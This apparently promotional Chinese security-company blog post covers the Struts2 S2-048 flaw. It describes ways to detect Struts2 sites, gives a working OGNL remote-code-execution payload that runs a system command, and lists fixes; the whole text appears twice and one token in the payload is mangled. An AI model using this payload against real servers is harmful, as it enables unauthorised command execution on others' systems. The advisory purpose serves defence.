2017年7月7号,struts2 048 爆出高危代码执行漏洞,众多struts2架构为基 础开发的网站、平台都中招,危害严重,尤其一些BC平台网站,以及金融平台网站, 都被入侵,服务器也遭受到攻击,许多用户数据被窃取,据SINE安全大体统计,BC行 业的网站百分之30都被黑。 如何判断是否是以struts2 s2-048开发的网站,SINE安全工程师有两种方案,这两种 判断struts2架构开发的网站方案,都有相应的要求,不能做到绝对化,也基本上可 以判断出是否含有struts2 048 网站漏洞。Sine安全公司是一家专注于:服务器安全 、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服 务提供商。
通常的判断是否是struts2漏洞有以下三种方案: 第一个方案、通过网站页面的回显错误消息来判断,页面不回显错误消息时则无效。 第二个方案通过网页后缀来判断,如.do .action,有可能是不准的,因为JBOSS系统也是以DO为后缀,其实 JBoss和tomcat不是一回事。 第三个方案判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。 根据以上三个方案,SINE网站安全检测公司统计出两个确实可行的漏洞检测方案: 方案一、 通过 struts2 CheckboxInterceptor函数:我们安全工程师在调试Struts2漏洞的过 程中找到的方案。本来是想找到一个百分之百漏洞通杀的方案,但是一路笑来,结果 是没有找到。本质上的意思:是配合 HTML 中的 checkbox 来使用的,当某个参数没 有被提交的时候,则认定这个 checkbox 值没有被选中。
struts2 漏洞的前提条件:需要有一个能够回显到网站页面上的字符串类型的参数。 我们目前碰到最多的地方就是各个网站上面的搜索功能,搜索功能往往会将 keyword 的参数值回显到网站前端上面去。Sine安全公司是一家专注于:服务器安全、网站安 全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。 我们来看一下struts2 CheckboxInterceptor 的 intercept 方案的代码:如下图: 它会检查所有的参数,发现如果有参数名是 __checkbox_param 这种格式的,并且参 数中不存在param参数,则它会添加一个名为 param 的参数,并将其值设置false。
漏洞案例: 原始 URL: http://sinesafe.com/?keyword=xxx,且页面回显出了 xxx结果。 检测 URL: http://sinesafe.com/?__checkbox_keyword=xxx,如果发现回显变成 了false,则可以认定目标是基于 Struts2 开发的网站。
原理就是CheckboxInterceptor 发现了一个名为 __checkbox_keyword 的参数,但是 没有发现 keyword 参数,则它会添加一个 keyword 参数,并将其值设置为 false。 实例截图:
方案二、 通过 actionErrors。此方法最早应该是由 kxlzx 在好些年前提出来的。 要求是对应的 Action 需要继承自 ActionSupport 类。 利用方法: 如原始 URL 为 http://sinesafe.com/ 则检测所用的 URL 为 http://sinesafe.com/?actionErrors=1111 如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。 异常包括但可能会出现以下几种特殊现象: 1、网站页面可能会直接出现 404 或者 500 等错误。 2、网站页面上输出了与业务有关错误消息,或者1111被回显到了网站前端的页面上。 3、网站页面的内容结构发生了明显的变化。Sine安全公司是一家专注于:服务器安全、 4、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务 提供商。 5、网站页面发生了301重定向。 Struts2(S2-048)POC: name=%{(#_=‘multipart/form-data‘).(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container‘]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘id‘).(#iswin=(@java.lang.System@getProperty(‘os.name‘).toLowerCase().contains(‘win‘))).(#cmds=(#iswin?{‘cmd.exe‘,‘/c‘,#cmd}:{‘/bin/bash‘,‘-c‘,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} struts2 漏洞利用详情如下图: struts2 漏洞修复方案如下: 1.不启用Struts2-struts1-plugin插件。 2.升级struts2的版本到最新Apache Struts 2.5.10.1版本。 3.始终使用资源键,而不是将原始消息传递给ActionMessage。 4.不使用Struts2目录下的showcase.war
如果对Struts2 漏洞修复不懂的话,建议找专业的网站安全公司来解决,国内也就Sinesafe和绿盟等安全公司比较专业.
宙飒天下 通常的判断是否是struts2漏洞有以下三种方案: 第一个方案、通过网站页面的回显错误消息来判断,页面不回显错误消息时则无效。 第二个方案通过网页后缀来判断,如.do .action,有可能是不准的,因为JBOSS系统也是以DO为后缀,其实 JBoss和tomcat不是一回事。 第三个方案判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。 根据以上三个方案,SINE网站安全检测公司统计出两个确实可行的漏洞检测方案: 方案一、 通过 struts2 CheckboxInterceptor函数:我们安全工程师在调试Struts2漏洞的过 程中找到的方案。本来是想找到一个百分之百漏洞通杀的方案,但是一路笑来,结果 是没有找到。本质上的意思:是配合 HTML 中的 checkbox 来使用的,当某个参数没 有被提交的时候,则认定这个 checkbox 值没有被选中。
struts2 漏洞的前提条件:需要有一个能够回显到网站页面上的字符串类型的参数。 我们目前碰到最多的地方就是各个网站上面的搜索功能,搜索功能往往会将 keyword 的参数值回显到网站前端上面去。Sine安全公司是一家专注于:服务器安全、网站安 全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。 我们来看一下struts2 CheckboxInterceptor 的 intercept 方案的代码:如下图: 它会检查所有的参数,发现如果有参数名是 __checkbox_param 这种格式的,并且参 数中不存在param参数,则它会添加一个名为 param 的参数,并将其值设置false。
漏洞案例: 原始 URL: http://sinesafe.com/?keyword=xxx,且页面回显出了 xxx结果。 检测 URL: http://sinesafe.com/?__checkbox_keyword=xxx,如果发现回显变成 了false,则可以认定目标是基于 Struts2 开发的网站。
原理就是CheckboxInterceptor 发现了一个名为 __checkbox_keyword 的参数,但是 没有发现 keyword 参数,则它会添加一个 keyword 参数,并将其值设置为 false。 实例截图:
方案二、 通过 actionErrors。此方法最早应该是由 kxlzx 在好些年前提出来的。 要求是对应的 Action 需要继承自 ActionSupport 类。 利用方法: 如原始 URL 为 http://sinesafe.com/ 则检测所用的 URL 为 http://sinesafe.com/?actionErrors=1111 如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。 异常包括但可能会出现以下几种特殊现象: 1、网站页面可能会直接出现 404 或者 500 等错误。 2、网站页面上输出了与业务有关错误消息,或者1111被回显到了网站前端的页面上。 3、网站页面的内容结构发生了明显的变化。Sine安全公司是一家专注于:服务器安全、 4、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务 提供商。 5、网站页面发生了301重定向。 Struts2(S2-048)POC: name=%{(#_=‘multipart/form-data‘).(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container‘]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘id‘).(#iswin=(@java.lang.System@getProperty(‘os.name‘).toLowerCase().contains(‘win‘))).(#cmds=(#iswin?{‘cmd.exe‘,‘/c‘,#cmd}:{‘/bin/bash‘,‘-c‘,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} struts2 漏洞利用详情如下图: struts2 漏洞修复方案如下: 1.不启用Struts2-struts1-plugin插件。 2.升级struts2的版本到最新Apache Struts 2.5.10.1版本。 3.始终使用资源键,而不是将原始消息传递给ActionMessage。 4.不使用Struts2目录下的showcase.war
如果对Struts2 漏洞修复不懂的话,建议找专业的网站安全公司来解决,国内也就Sinesafe和绿盟等安全公司比较专业.
还没有评论,来说两句吧...